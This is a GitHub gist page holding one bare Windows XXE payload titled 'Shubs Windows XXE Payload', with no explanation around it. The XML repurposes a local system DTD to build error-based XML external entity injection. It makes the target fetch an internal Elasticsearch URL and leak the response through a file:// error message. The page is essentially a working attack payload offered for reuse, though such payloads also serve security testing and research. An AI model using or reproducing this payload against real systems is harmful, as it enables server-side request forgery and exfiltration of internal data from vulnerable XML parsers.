Skip to content

Instantly share code, notes, and snippets.

@Rhynorater

Rhynorater/gist:d0d19f757221a916a22476c3a5c6aba2

Created July 27, 2023 19:18
Show Gist options
  • Save Rhynorater/d0d19f757221a916a22476c3a5c6aba2 to your computer and use it in GitHub Desktop.
Save Rhynorater/d0d19f757221a916a22476c3a5c6aba2 to your computer and use it in GitHub Desktop.
Download ZIP
Shubs Windows XXE Payload
Raw
gistfile1.txt
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY &#x25; file SYSTEM "http://example.com:9200/_cat/indices">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file://test/#&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>cacat</xxx>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment